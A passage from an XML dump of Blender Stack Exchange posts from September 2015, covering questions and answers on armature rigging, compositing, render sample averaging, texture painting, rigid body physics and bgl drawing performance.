&lt;em&gt;Bake&lt;/em&gt;, it works as expected.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-09-12T02:27:34.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38408" PostTypeId="2" ParentId="38371" CreationDate="2015-09-12T04:46:27.820" Score="1" Body="&lt;p&gt;You should be able to do this with an armature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here a simple Rubik's cube like mesh object parented to an armature. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second cube is a linked duplicate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/eDZrk.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/eDZrk.png&quot; alt=&quot;Rubick&amp;#39;s cube objects controlled by a single armature&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The cube blocks on the face that rotate have been assigned to a vertex group, as we can verify in Weight Paint Mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/L2x02.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/L2x02.png&quot; alt=&quot;Rubick&amp;#39;s cube weight paint&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After creating your armature make sure the bone is in the right place and has no rotation issues. You can lock the transforms so it doesn't rotate in undesired ways.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/4Spji.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4Spji.png&quot; alt=&quot;Lock bone transforms&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When parenting the cube to the armature Set Parent to &quot;Armature Deform with Empty Groups&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/BUIK0.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/BUIK0.png&quot; alt=&quot;Parenting the cube to the armature&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ensure that the groups and bones have matching names.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/tjAAX.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tjAAX.png&quot; alt=&quot;Armature Modifier - note the bone group name&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the .blend from the screen shots in case I forgot to explain anything:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/497/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=497&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2952" LastEditorUserId="-1" LastEditDate="2017-03-14T09:14:09.993" LastActivityDate="2015-09-12T04:46:27.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38409" PostTypeId="1" CreationDate="2015-09-12T05:45:52.037" Score="1" ViewCount="204" Body="&lt;p&gt;I don't know that I'm using monotone and grayscale in the right way, but I'm curious how to make a scene with has either only one tone like the use of Red in the movie 300, or something like sin city, where only one object is brightly contrasting.  Is this a compositing technique or nodes?  I know nothign about compositing and little about nodes, but i've been playing with them.  thanks for info, or sources to info for that matter.  Happy Blending!&lt;/p&gt;&#xA;" OwnerUserId="17945" LastActivityDate="2015-09-12T05:45:52.037" Title="How can I get a Sin City/300 monotone and grayscale style" Tags="&lt;rendering&gt;&lt;materials&gt;&lt;nodes&gt;&lt;compositor&gt;&lt;light&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38410" PostTypeId="1" CreationDate="2015-09-12T06:12:08.763" Score="2" ViewCount="433" Body="&lt;p&gt;Lets say I render 200 images with different seed values and 50 samples each. I wrote a program that adds all color values of each pixel and color together and then divides it by the amount of images.&#xA;So am I allowed to say, that the combined images has 10.000 samples?&lt;/p&gt;&#xA;" OwnerUserId="6433" LastEditorDisplayName="user1853" LastEditDate="2015-09-13T00:28:36.693" LastActivityDate="2015-09-13T00:28:36.693" Title="Overlaying images with different seed values" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="38413" PostTypeId="1" CreationDate="2015-09-12T08:17:20.860" Score="2" ViewCount="63" Body="&lt;p&gt;Can anyone give advice regarding the Blend4wed exporting formats? &#xA;I am basically hoping to export out a simple plane which will allow certain interactive features i.e. when a viewer hovers over an allocated segment of this plane, a segment of text will drop down with information about this specific component. The plane will also hopefully contain zoom/ pan features to further support this text component. Is this output even possible?&#xA;Advice would be massively appreciated!&lt;/p&gt;&#xA;" OwnerUserId="18055" LastActivityDate="2015-09-14T13:19:19.413" Title="Adding drop-down text to segments of a Blend(-ed)4web plane?" Tags="&lt;interface&gt;&lt;export&gt;&lt;add-on&gt;&lt;text-object&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="38414" PostTypeId="2" ParentId="38399" CreationDate="2015-09-12T09:16:52.897" Score="3" Body="&lt;p&gt;Vertices in edit mode to show uv unwrap.  Any non overlapping uv will do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Ni5jo.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ni5jo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sphere in paint mode, stencil used. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Two brushes used.  Gold Brush Showing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Material and Texture Showing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/DuKmD.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DuKmD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6076" LastActivityDate="2015-09-12T09:16:52.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38415" PostTypeId="2" ParentId="38377" CreationDate="2015-09-12T09:55:03.337" Score="1" Body="&lt;p&gt;The moment of inertia of rigid bodies in Blender is currently determined &lt;em&gt;only&lt;/em&gt; by their collision shape. In principle this could be defined separately from any collision geometry, but for most artistic purposes this approach is easier i suppose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More importantly even, changes to the shape/inertia will &lt;strong&gt;not&lt;/strong&gt; have any effect on the motion state of bodies, since the motion state is only defined by position/orientation and velocity and does not describe energetic state directly. After all it is called a &lt;em&gt;Rigid Body&lt;/em&gt; simulation, which implies that the shape of bodies does not change over time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This being said, you may have already given the answer: approximate changing moment of inertia by using connected rigid bodies. I've made a test using a symmetric set of secondary bodies (like the arms of the ice skater), which are connected to the central body with slider constraints. Unfortunately it looks like animating the constraint settings (x axis limits) does not work either, but perhaps there is still a solution.&lt;/p&gt;&#xA;" OwnerUserId="436" LastActivityDate="2015-09-12T09:55:03.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38416" PostTypeId="1" CreationDate="2015-09-12T11:03:41.400" Score="3" ViewCount="164" Body="&lt;p&gt;I posted this a while back but no one has replied in months so I am reposting. &#xA;When I click on a vertex it moves one &quot;triangle&quot; (I'm new ok idk what the proper word is) and the rest stay in the same place. I'm trying to lips sync and it's proving to be impossible at the moment, due to the vertices being unconnected. &#xA;Here is my blend file: &lt;a href=&quot;http://www.mediafire.com/download/8nt27wz1lc414g0/newtester.blend&quot; rel=&quot;nofollow&quot;&gt;http://www.mediafire.com/download/8nt27wz1lc414g0/newtester.blend&lt;/a&gt; &#xA;Any help would be largely appreciated ^^&#xA;I have tried: &#xA;right clicking and then pressing G&#xA;Pressing H&#xA;Pressing C&lt;/p&gt;&#xA;" OwnerUserId="18057" LastActivityDate="2015-09-12T12:59:06.707" Title="My vertices disconnect" Tags="&lt;mesh&gt;&lt;vertices&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38417" PostTypeId="1" CreationDate="2015-09-12T11:08:12.537" Score="6" ViewCount="296" Body="&lt;p&gt;I want to make the inside sphere effect, like planetarium, where I will show not stars, but planets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The obvious way is to use sphere and place camera inside. But I wish to make animation from the spherical surface to the flat surface.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also I wish to shift sky (planets) by X and Y to emulate user scrolling action.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The closest way that I found is use the particle emitter and changing the &quot;Jittering Amo&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/WA4Ij.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WA4Ij.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it can't be animated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How can I achieve this effects&lt;/strong&gt;: the planetarium effects (like Google Sky Map) and animate the surface from the sphere to the flatness (like Google Maps)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="8120" LastEditorUserId="8120" LastEditDate="2015-09-12T15:16:22.877" LastActivityDate="2015-10-14T08:04:59.077" Title="Planetarium sky animation" Tags="&lt;cycles-render-engine&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38418" PostTypeId="2" ParentId="38130" CreationDate="2015-09-12T11:09:38.590" Score="9" Body="&lt;p&gt;As you have noticed, drawing &lt;code&gt;bgl&lt;/code&gt; is relative easy. For trivial stuff many settle for &lt;em&gt;immediate mode&lt;/em&gt;, because the overhead in their drawing routine is never noticed (either a really fast processor, or simply minimal drawing instructions).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As soon as you crank up the amount of geometry and complexity of the drawing call, you will need to think about optimizations and perhaps use a &lt;code&gt;DisplayList&lt;/code&gt;. Optimize the code you were using in &lt;em&gt;immediate mode&lt;/em&gt; first. Use timers and reproducible geometric inputs to see what kind of effect your code modifications have and figure out which parts take up the most time overal and concentrate on those, &lt;a href=&quot;https://docs.python.org/3.4/library/profile.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;profiling&lt;/a&gt; helps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A &lt;code&gt;DisplayList&lt;/code&gt; isn't magically going to make your fresh &lt;code&gt;bgl&lt;/code&gt; drawing faster.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You already noticed that using the push / pop matrix for 3 vertices can introduce more overhead than calculating them directly.&lt;/li&gt;&#xA;&lt;li&gt;a &lt;code&gt;.co&lt;/code&gt;  is already a Vector, it doesn't need to be recast as a &lt;code&gt;Vector()&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;I'd try some counter intuitive things like pre-calculating the coordinates for all polygons you intend to draw, then for-loop through them inside &lt;code&gt;GL_TRIANGLES&lt;/code&gt; where each 3 new vertices pushed is part of a new Tri.&lt;/li&gt;&#xA;&lt;li&gt;Consider numpy! initial filling of arrays may be the bottle neck, after that you can get a lot of processing done very fast with the right constructs. (becomes off-topic for BSE)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;50k plus edges, in your program translates to 50k polygons with 150k vertices, that's a lot of geometry to update/recalcuate with python and &lt;code&gt;bgl&lt;/code&gt; at a high frame-rate. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;It may be worth considering splitting it into subsets, if not all data needs to be updated&lt;/li&gt;&#xA;&lt;li&gt;If it makes sense, show only a sampling of all your points, show mor